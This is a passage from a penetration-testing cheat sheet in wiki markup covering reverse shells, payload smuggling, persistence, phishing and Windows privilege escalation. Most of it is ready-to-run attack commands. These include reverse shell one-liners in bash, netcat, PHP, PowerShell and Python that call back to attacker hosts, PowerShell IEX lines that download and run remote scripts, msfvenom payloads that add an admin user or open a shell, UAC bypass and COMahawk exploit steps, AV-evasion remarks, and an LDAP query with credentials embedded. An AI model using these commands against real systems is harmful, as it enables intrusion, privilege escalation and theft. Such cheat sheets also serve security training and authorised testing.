[https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#powershell PayloadAllTheThings]&lt;br /&gt;
&lt;br /&gt;
=== Reverse Shell Generator ===&lt;br /&gt;
&lt;br /&gt;
[https://www.revshells.com/ https://www.revshells.com/]&lt;br /&gt;
&lt;br /&gt;
=== hoaxshell ===&lt;br /&gt;
&lt;br /&gt;
Currently undetected by Microsoft and most AV (12.10.2022)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/t3l3machus/hoaxshell&lt;br /&gt;
──(root💀kali)-[/opt/hoaxshell]&lt;br /&gt;
└─# python3 hoaxshell.py -s 192.168.1.59 -p 4444                                                                                                                                              1 ⨯&lt;br /&gt;
    ┬ ┬ ┌─┐ ┌─┐ ─┐ ┬ ┌─┐ ┬ ┬ ┌─┐ ┬   ┬&lt;br /&gt;
    ├─┤ │ │ ├─┤ ┌┴┬┘ └─┐ ├─┤ ├┤  │   │&lt;br /&gt;
    ┴ ┴ └─┘ ┴ ┴ ┴ └─ └─┘ ┴ ┴ └─┘ ┴─┘ ┴─┘&lt;br /&gt;
                           by t3l3machus&lt;br /&gt;
[Info] Generating reverse shell payload...&lt;br /&gt;
powershell -e JABzAD0AJwAxADkAMgAuADEANg....&lt;br /&gt;
[Info] Type &amp;quot;help&amp;quot; to get a list of the available prompt commands.&lt;br /&gt;
[Info] Http Server started on port 4444.&lt;br /&gt;
[Important] Awaiting payload execution to initiate shell session...&lt;br /&gt;
[Shell] Payload execution verified!&lt;br /&gt;
[Shell] Stabilizing command prompt...&lt;br /&gt;
PS C:\Users\AlaaG &amp;gt; whoami&lt;br /&gt;
laptop-\alaag&lt;br /&gt;
PS C:\Users\AlaaG &amp;gt; systeminfo&lt;br /&gt;
Host Name:                 LAPTOP-&lt;br /&gt;
OS Name:                   Microsoft Windows 11 Home&lt;br /&gt;
OS Version:                10.0.22000 N/A Build 22000&lt;br /&gt;
OS Manufacturer:           Microsoft Corporation&lt;br /&gt;
OS Configuration:          Standalone Workstation&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== ICMP Reverse Shell ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/krabelize/icmpdoor&lt;br /&gt;
# https://cryptsus.com/blog/icmp-reverse-shell.html&lt;br /&gt;
## Python version usage (both Windows and Linux):&lt;br /&gt;
./icmp-cnc.py -i INTERFACE -d VICTIM-IP (Command and Control)&lt;br /&gt;
./icmpdoor.py -i INTERFACE -d CNC-IP (Implant)&lt;br /&gt;
## Binary Windows version usage version:&lt;br /&gt;
./icmp-cnc.exe -d VICTIM-IP (Command and Control)&lt;br /&gt;
./icmpdoor.exe -d CNC-IP (Implant)&lt;br /&gt;
## Binary Linux version usage version:&lt;br /&gt;
./icmp-cnc -d VICTIM-IP (Command and Control)&lt;br /&gt;
./icmpdoor -d CNC-IP (Implant)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== BASH TCP ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
bash -i &amp;gt;&amp;amp; /dev/tcp/10.0.0.1/4242 0&amp;gt;&amp;amp;1&lt;br /&gt;
0/dev/tcp/10.0.0.1/4242; sh &amp;amp;196 2&amp;gt;&amp;amp;196&lt;br /&gt;
/bin/bash -l &amp;gt; /dev/tcp/10.0.0.1/4242 0&amp;amp;1&lt;br /&gt;
## Don&#039;t forget to check with others shell : sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, bash&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== BASH UDP ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Victim:&lt;br /&gt;
sh -i &amp;gt;&amp;amp; /dev/udp/10.0.0.1/4242 0&amp;gt;&amp;amp;1&lt;br /&gt;
Listener:&lt;br /&gt;
nc -u -lvp 4242&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== ngrok - Catcha reverse shell from the internet ===&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/wp-content/uploads/2023/08/How-to-catch-a-Reverse-shell-over-the-Internet-_-by-Siddharth-Johri-_-System-Weakness.pdf How-to-catch-a-Reverse-shell-over-the-Internet-_-by-Siddharth-Johri-_-System-Weakness][https://book.ghanim.no/wp-content/uploads/2023/08/How-to-catch-a-Reverse-shell-over-the-Internet-_-by-Siddharth-Johri-_-System-Weakness.pdf Download]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# On attacker (term1)&lt;br /&gt;
ngrok tcp 4444&lt;br /&gt;
# On attacker (term2)&lt;br /&gt;
nc -lvp 4444&lt;br /&gt;
# On target, use your reverse shell payload on the ngrok tunnel target&lt;br /&gt;
nc 0.tcp.ngrok.io  -e /bin/sh&lt;br /&gt;
-----&lt;br /&gt;
# Another method if there is a proxy and firewall.&lt;br /&gt;
# Setup free domain. (Custom domain is a paid feature)&lt;br /&gt;
https://dashboard.ngrok.com/cloud-edge/domains&lt;br /&gt;
ngrok http --domain=ngrok-provided-domain.ngrok-free.app&lt;br /&gt;
# On attacker&lt;br /&gt;
nc -lvnp&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Netcat Traditional ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nc -e /bin/sh 10.0.0.1 4242&lt;br /&gt;
nc -e /bin/bash 10.0.0.1 4242&lt;br /&gt;
nc -c bash 10.0.0.1 4242&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Netcat BusyBox ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&amp;gt;&amp;amp;1|nc 10.0.0.1 4242 &amp;gt;/tmp/f&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== nc.exe ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nc.exe -e cmd.exe attacker_ip attacker_port&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== PHP ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
php -r &#039;$sock=fsockopen(&amp;quot;10.10.14.17&amp;quot;,4444);$proc=proc_open(&amp;quot;/bin/sh -i&amp;quot;, array(0=&amp;gt;$sock, 1=&amp;gt;$sock, 2=&amp;gt;$sock),$pipes);&#039;&lt;br /&gt;
# Base64 encoded webshell&lt;br /&gt;
&amp;quot;&amp;quot;&lt;br /&gt;
&amp;quot;&amp;amp; /dev/tcp/192.168.49.129/80 0&amp;gt;&amp;amp;1&#039;); ?&amp;gt;&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powershells ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
powershell -nop -c &amp;quot;$client = New-Object System.Net.Sockets.TCPClient(&#039;10.0.0.1&#039;,4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2&amp;gt;&amp;amp;1 | Out-String );$sendback2 = $sendback + &#039;PS &#039; + (pwd).Path + &#039;&amp;gt; &#039;;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient(&amp;quot;10.0.0.1&amp;quot;,4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2&amp;gt;&amp;amp;1 | Out-String );$sendback2  = $sendback + &amp;quot;PS &amp;quot; + (pwd).Path + &amp;quot;&amp;gt; &amp;quot;;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
powershell IEX (New-Object Net.WebClient).DownloadString(&#039;https://gist.githubusercontent.com/staaldraad/204928a6004e89553a8d3db0ce527fd5/raw/fe5f74ecfae7ec0f2d50895ecf9ab9dafe253ad4/mini-reverse.ps1&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powershell base64 encoded reverse shell payload ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
powercat -c 10.11.0.4 -p 443 -e cmd.exe -ge &amp;gt; encodedreverseshell.ps1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powercat ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
powercat -c 10.11.0.4 -p 443 -e cmd.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Python ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
import os,pty,socket;s=socket.socket();s.connect((&amp;quot;192.168.49.169&amp;quot;,443));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(&amp;quot;sh&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Stabilize shell (Interactive shell) ===&lt;br /&gt;
&lt;br /&gt;
==== Linux ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
python -c &#039;import pty;pty.spawn(“/bin/bash”)&#039;&lt;br /&gt;
export TERM=xterm&lt;br /&gt;
Background the shell using Ctrl + Z. In our terminal we use stty raw -echo; fg.&lt;br /&gt;
https://blog.aghanim.net/?p=1043&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Windows ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# In you have unstable shell in Windows, try to get a new shell using Nishang Invoke-PowershellTcp.ps1&lt;br /&gt;
# 1. Edit Nishang script and add&lt;br /&gt;
Invoke-PowerShellTcp -Reverse -IpAddress  -Port&lt;br /&gt;
# 2. Start a new netcat listener&lt;br /&gt;
# 3. Start simple http.severe where the nishang script is&lt;br /&gt;
# 4. On target. (Make sure powershell is enabled and allowed to use)&lt;br /&gt;
powershell.exe -nop -exec bypass -c &amp;quot;IEX (New-Object Net.WebClient).DownloadString(&#039;http://LOCALIP:LOCALPORT/invoke-powershelltcp.ps1&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fix TTY in reverse shell ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# In our shell. Remember the rows anc cols&lt;br /&gt;
stty -a&lt;br /&gt;
# On victim shell&lt;br /&gt;
stty rows  cols&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== PackMyPayload ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/mgeeky/PackMyPayload mgeeky/PackMyPayload: A PoC that packages payloads into output containers to evade Mark-of-the-Web flag &amp;amp; demonstrate risks associated with container file formats. Supports: ZIP, 7zip, PDF, ISO, IMG, CAB, VHD, VHDX (github.com)]&lt;br /&gt;
&lt;br /&gt;
Smuggle payloads using various file formats:&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;7zip&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;zip&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;ISO&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;IMG&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Pack a dir to .iso&lt;br /&gt;
PackMyPayload.py C:\my\dir malicious.iso -v&lt;br /&gt;
# Pack a malicious code to .vhd&lt;br /&gt;
PackMyPayload.py .\evil.lnk .\evil.vhd&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Persistence ==&lt;br /&gt;
&lt;br /&gt;
=== Windows ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Persistence.md https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Persistence.md]&lt;br /&gt;
&lt;br /&gt;
=== Linux ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Persistence.md https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Persistence.md]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Phishing ==&lt;br /&gt;
&lt;br /&gt;
=== Bypass 2-Fa ===&lt;br /&gt;
&lt;br /&gt;
[https://www.youtube.com/watch?v=FwGeBW6OurM&amp;amp;t=662s Hackers Bypass Google Two-Factor Authentication (2FA) SMS - YouTube]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/kgretzky/evilginx2 GitHub - kgretzky/evilginx2: Standalone man-in-the-middle attack framework used for phishing login credentials along with session cookies, allowing for the bypass of 2-factor authentication]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Programming ==&lt;br /&gt;
&lt;br /&gt;
=== Control flow - Logic Statement ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| Logic Statement&lt;br /&gt;
| Purpose&lt;br /&gt;
|-&lt;br /&gt;
| if/else&lt;br /&gt;
| Executes only if a condition is met, else it will execute a different code block&lt;br /&gt;
|-&lt;br /&gt;
| try/catch&lt;br /&gt;
| Will try to execute a code block and catch it if it fails to handle errors.&lt;br /&gt;
|-&lt;br /&gt;
| switch case&lt;br /&gt;
| A switch will follow similar conditional logic to an if statement but checks several different possible conditions with cases before resolving to a break or default&lt;br /&gt;
|-&lt;br /&gt;
| for/while loop&lt;br /&gt;
| A for loop will execute for a set amount of a condition. A while loop will execute until a condition is no longer met.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Privilege Escalation ==&lt;br /&gt;
&lt;br /&gt;
=== Windows ===&lt;br /&gt;
&lt;br /&gt;
==== Admin Account Credentials ====&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/?p=2078#Shell_8211_Changing_user_if_you_have_a_shell Active Directory – Notes, Methodology, Cheatsheet – BOOK_GHANIM]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If you hve admin credentials or created an account with admin privilege you can use nc.exe to get a privileged reverse shell using runas&lt;br /&gt;
runas /profile /user:Administrator &amp;quot;nc.exe -e cmd 192.168.49.169 443&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Another method is if the shell is non-interactive is to use a powershell script.&lt;br /&gt;
# Save this on your Kali and start a HTTP.server.&lt;br /&gt;
$password = ConvertTo-SecureString &amp;quot;lab&amp;quot; -AsPlainText -Force&lt;br /&gt;
$credential = New-Object System.Management.Automation.PSCredential (&amp;quot;Administrator&amp;quot;, $password)&lt;br /&gt;
Start-Process -Credential $credential -FilePath &amp;quot;C:\Users\Offsec\Desktop\ProcessHollow.exe&amp;quot;&lt;br /&gt;
# Now on the shell you have, run this command.&lt;br /&gt;
iex(new-object net.webclient).downloadstring(&#039;http://192.168.45.198/test.ps1&#039;)&lt;br /&gt;
# You should now see that the ProcessHollow binary is executing, giving you a shell in the context of administrator.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Another method again is to RDP to the target if possible and Run As.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== AlwaysInstallElevated ====&lt;br /&gt;
&lt;br /&gt;
If these two registers are enabled then users of any privilege can install &#039;&#039;&#039;.msi &#039;&#039;&#039;files as NT AUTHORITY\SYSTEM&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#alwaysinstallelevated&lt;br /&gt;
# If 0x1 then its enabled&lt;br /&gt;
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated&lt;br /&gt;
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated&lt;br /&gt;
&lt;br /&gt;
# Msfvenom payload&lt;br /&gt;
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format&lt;br /&gt;
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted&lt;br /&gt;
# The above is better for persistence&lt;br /&gt;
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.54.122 LPORT=443 -f msi &amp;gt; rev_shell.msi # Recommeded if not AD.&lt;br /&gt;
# Execute&lt;br /&gt;
msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi&lt;br /&gt;
&lt;br /&gt;
----------------&lt;br /&gt;
# The above command will probably be detected by AV. You can compile your own .msi.&lt;br /&gt;
https://github.com/KINGSABRI/MSI-AlwaysInstallElevated&lt;br /&gt;
PS C:\WiX Toolset v3.11\bin&amp;gt; .\candle.exe .\msiexploit.wxs; .\light.exe .\msiexploit.wixobj`)&lt;br /&gt;
-------------------------------------------&lt;br /&gt;
# You can also use MSI Wrapper.&lt;br /&gt;
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/msi-wrapper&lt;br /&gt;
------------------------------------------&lt;br /&gt;
# There is also a metasploit module, but it needs a bit tweaking&lt;br /&gt;
exploit/windows/local/always_install_elevated&lt;br /&gt;
# In the multi handler do the following&lt;br /&gt;
set DisablePayloadHandler true - # Disable built-in listener&lt;br /&gt;
set ExitOnSession false - # The MSI target to existing meterpreter encoded payload&lt;br /&gt;
run -j -z - # Background listener&lt;br /&gt;
msf6 exploit(multi/handler) &amp;gt; use exploit/windows/local/always_install_elevated&lt;br /&gt;
msf6 exploit(windows/local/always_install_elevated) &amp;gt; set VERBOSE true&lt;br /&gt;
msf6 exploit(windows/local/always_install_elevated) &amp;gt; set payload windows/exec&lt;br /&gt;
msf6 exploit(windows/local/always_install_elevated) &amp;gt; set session 1&lt;br /&gt;
# The encoded powershell command do &#039;whoami &amp;gt; C:\whoami.txt&#039; to verify that it works&lt;br /&gt;
msf6 exploit(windows/local/always_install_elevated) &amp;gt; set cmd &#039;powershell -enc dwBoAG8AYQBtAGkAIAA+ACAAQwA6AFwAdwBoAG8AYQBtAGkALgB0AHgAdAA=&#039;&lt;br /&gt;
msf6 exploit(windows/local/always_install_elevated) &amp;gt; run&lt;br /&gt;
# Now to get a meterpreter shell, upload your payload. Ex. proc_hol.exe and run&lt;br /&gt;
msf6 exploit(windows/local/always_install_elevated) &amp;gt; set cmd &#039;C:\proc_hol.exe&#039;&lt;br /&gt;
msf6 exploit(windows/local/always_install_elevated) &amp;gt; run&lt;br /&gt;
# You should get a callback to your meterpreter listener.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[https://blog.aghanim.net/?page_id=1809#Executing_MSI_on_Windows Execute MSI files on Windows]&lt;br /&gt;
&lt;br /&gt;
==== BarracudaDrive 6.5 ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://packetstormsecurity.com/files/158812/BarracudaDrive-6.5-Local-Privilege-Escalation.html&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Bypass UAC ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/k4sth4/UAC-bypass https://github.com/k4sth4/UAC-bypass]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Check group memberships. If the user is member of Administrator group but have Medium mandteroy  Level shell, we might bypass uac.&lt;br /&gt;
# Notice the last line, &amp;quot;Mandatory Label\Medium Mandatory Level&amp;quot;&lt;br /&gt;
whoami /groups&lt;br /&gt;
GROUP INFORMATION&lt;br /&gt;
-----------------&lt;br /&gt;
Group Name                                 Type             SID          Attributes&lt;br /&gt;
========================================== ================ ============ ==================================================&lt;br /&gt;
Everyone                                   Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group&lt;br /&gt;
BUILTIN\Administrators                     Alias            S-1-5-32-544 Group used for deny only&lt;br /&gt;
BUILTIN\Users                              Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group&lt;br /&gt;
NT AUTHORITY\INTERACTIVE                   Well-known group S-1-5-4      Mandatory group, Enabled by default, Enabled group&lt;br /&gt;
CONSOLE LOGON                              Well-known group S-1-2-1      Mandatory group, Enabled by default, Enabled group&lt;br /&gt;
NT AUTHORITY\Authenticated Users           Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group&lt;br /&gt;
NT AUTHORITY\This Organization             Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group&lt;br /&gt;
LOCAL                                      Well-known group S-1-2-0      Mandatory group, Enabled by default, Enabled group&lt;br /&gt;
Authentication authority asserted identity Well-known group S-1-18-1     Mandatory group, Enabled by default, Enabled group&lt;br /&gt;
Mandatory Label\Medium Mandatory Level     Label            S-1-16-8192&lt;br /&gt;
&lt;br /&gt;
# Next check if UAC is enabled&lt;br /&gt;
# If EnableLUA and PromptOnSecureDesktop is set to 1, that means its enabled.&lt;br /&gt;
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System&lt;br /&gt;
# We then have to find a binary that have &amp;quot;autoElevate&amp;quot; set to true.&lt;br /&gt;
# Download strings windows binary here https://github.com/k4sth4/UAC-bypass/blob/main/strings64.exe. (Same as linux)&lt;br /&gt;
.\strings64.exe -accepteula C:\\Windows\System32\eventvwr.exe | findstr /i autoelevate&lt;br /&gt;
        true&lt;br /&gt;
# Then we have to generate a payload using msfvenom.&lt;br /&gt;
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.x.x LPORT=443 -f exe &amp;gt; shell.exe&lt;br /&gt;
# In this instance we are abusing eventvwr. https://github.com/k4sth4/UAC-bypass/blob/main/eventvwr-bypassuac.c&lt;br /&gt;
# Compile the above code&lt;br /&gt;
x86_64-w64-mingw32-gcc eventvwr-bypassuac.c -o eventvwr-bypassuac-64.exe&lt;br /&gt;
# Transfer the binary to target and execute&lt;br /&gt;
.\eventvwr-bypassuac-64.exe&lt;br /&gt;
# Check your listener and then run &amp;quot;whoami /groups&amp;quot; again and check last line.&lt;br /&gt;
Mandatory Label\High Mandatory Level       Label            S-1-16-12288&lt;br /&gt;
# This means you can run elevated commands. Dumping hashes etc.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== CVE ====&lt;br /&gt;
&lt;br /&gt;
===== CVE-2019-1405 and CVE-2019-1322 (COMahawk) =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/apt69/COMahawk&lt;br /&gt;
# An elevation of privilege vulnerability exists when the Windows Universal Plug and Play (UPnP) service improperly allows COM object creation, aka &#039;Windows UPnP Service Elevation of Privilege Vulnerability&#039;.&lt;br /&gt;
# Method 1&lt;br /&gt;
.\COMahawk64.exe&lt;br /&gt;
[\] Progress:  1/9 2/9 3/9 4/9 5/9 6/9 7/9 8/9 9/9&lt;br /&gt;
[+] Hopefully Tomahawk:RibSt3ak69 is added as an admin.&lt;br /&gt;
# Method 2&lt;br /&gt;
.\COMahawk64.exe &amp;quot;C:\\users\\public\\documents\\nc64.exe -e cmd.exe 192.168.1.123 443&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== HiveNightmare ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/GossiTheDog/HiveNightmare&lt;br /&gt;
# Works on all supported versions of Windows 10, where System Protection is enabled (should be enabled by default in most configurations).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== LAPS ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If we have valid creds for LDAP we can query LDAP for the local admin password.&lt;br /&gt;
ldapsearch -v -x -D fmcsorley@HUTCH.OFFSEC -w CrabSharkJellyfish192 -b &amp;quot;DC=hutch,DC=offsec&amp;quot; -h 192.168.120.108 &amp;quot;(ms-MCS-AdmPwd=*)&amp;quot; ms-MCS-AdmPwd&lt;br /&gt;
# LAPS is a tool that periodically changes the local administrator&#039;s password when it expires. It then stores the password details in the Active Directory.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Potatos (SeimpersonatePrivilege) ====&lt;br /&gt;
&lt;br /&gt;
[https://jlajara.gitlab.io/others/2020/11/22/Potatoes_Windows_Privesc.html#hotPotato Source]&lt;br /&gt;
&lt;br /&gt;
* If the machine is &amp;gt;= Windows 10 1809 &amp;amp; Windows Server 2019 - Try [https://jlajara.gitlab.io/others/2020/11/22/Potatoes_Windows_Privesc.html#roguePotato Rogue Potato]&lt;br /&gt;
&lt;br /&gt;
* If the machine is &amp;lt; Windows 10 1809 &amp;lt; Windows Server 2019 - Try [https://jlajara.gitlab.io/others/2020/11/22/Potatoes_Windows_Privesc.html#juicyPotato Juicy Potato]&lt;br /&gt;
&lt;br /&gt;
===== Finding CLSID =====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/ohpe/juicy-potato/tree/master/CLSID https://github.com/ohpe/juicy-potato/tree/master/CLSID]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
function Lookup-Clsid&lt;br /&gt;
{&lt;br /&gt;
    Param([string]$clsid)&lt;br /&gt;
    $CLSID_KEY = &#039;HKLM:\SOFTWARE\Classes\CLSID&#039;&lt;br /&gt;
    If ( Test-Path $CLSID_KEY\$clsid) {&lt;br /&gt;
        $name = (Get-ItemProperty -Path $CLSID_KEY\$clsid).&#039;(default)&#039;&lt;br /&gt;
